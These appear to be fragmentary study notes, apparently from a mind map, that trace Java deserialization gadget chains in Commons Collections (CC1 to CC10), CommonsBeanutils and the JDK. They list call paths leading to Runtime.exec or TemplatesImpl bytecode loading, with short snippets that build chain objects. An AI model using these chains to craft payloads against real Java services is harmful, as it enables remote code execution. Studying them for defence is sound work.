CC7

Hashtable.readObject()

Hashtable.reconstitutionPut()

AbstractMapDecorator.equals()

AbstractMap.equals()

CC5

BadAttributeValueException.readObject()

TiedMapEntry.toString()

TiedMapEntry.getValue()

CC10

key.hashCode() => TiedMapEntry.hashCode()

CC1

AnnotationInvocationHandler.readObject

TransformedMap.checkSetValue

return valueTransformer.transform(value);

Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

AnnotationInvocationHandler.invoke

动态代理调用 AnnotationInvocationHandler.invoke

LazyMap.get()/

DefaultedMap.get()

CC9(cc3.2)

ChainedTransformer.transform()

CC3

InstantiateTransformer.transform()

TrAXFilter.constructor

TemplatesImpl.newTransformer()

ByteCode

Constant Transformer

InvokerTransformer

Runtime.exec()

Command

MapTransformer

HashMap#readObject

HashMap.hash(key)

return h = key.hashCode();

TiedMapEntry.hashCode()

public TiedMapEntry(Map map, Object key)
public Object getValue() {
return map.get(key);}

protected LazyMap(Map map, Transformer factory) {
super(map);
this.factory = factory;}
public Object get(Object key) {
Object value = factory.transform(key);}

```
TemplatesImpl obj = new TemplatesImpl();
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
```

```
Map hashmap = new HashMap();
hashmap.put("keykey", TrAXFilter.class);
Transformer maptransformer = MapTransformer.getInstance(hashmap);
Transformer[] transformers = new Transformer[]{
        maptransformer,
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]
{templates})
};
```

CC6

HashSet.readObject()

HashMap.put

map.put(e, PRESENT);

组件3.x

组件4.x

CC2

PriorityQueue.readObject()

TransformingComparator.Compare

this.transformer.transform(obj1);

InvokerTransformer

TemplatesImpl.newTransformer()

ByteCode

CC4

ChainedTransformer.transform()

ConstantTransformer.transform()

InstantiateTransformer.transform()

TrAXFilter.TrAXFilter()

CC8

TreeBag.readObject()

AbstractMapBag.doReadObject()

TreeMap.put()

CommonsBeanutils无CC

CB

PriorityQueue.compare()

BeanComparator.getProperties()

TemplatesImpl.getOutputProperties()

TemplatesImpl.newTransformer()

ByteCode

我们通过 `String.CASE_INSENSITIVE_ORDER` 即可拿到上下文中的 `CaseInsensitiveComparator` 对象，用它来实例化 `BeanComparator`：

```
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
```

CaseInsensitiveComparator

JDK原生反序列化链

HashSet.put()

Proxy

AnnotationInvocationHandler.invoke()

AnnotationInvocationHandler.equalsImpl()

memberMethod.invoke(o)

TemplatesImpl.newTransformer()

ByteCode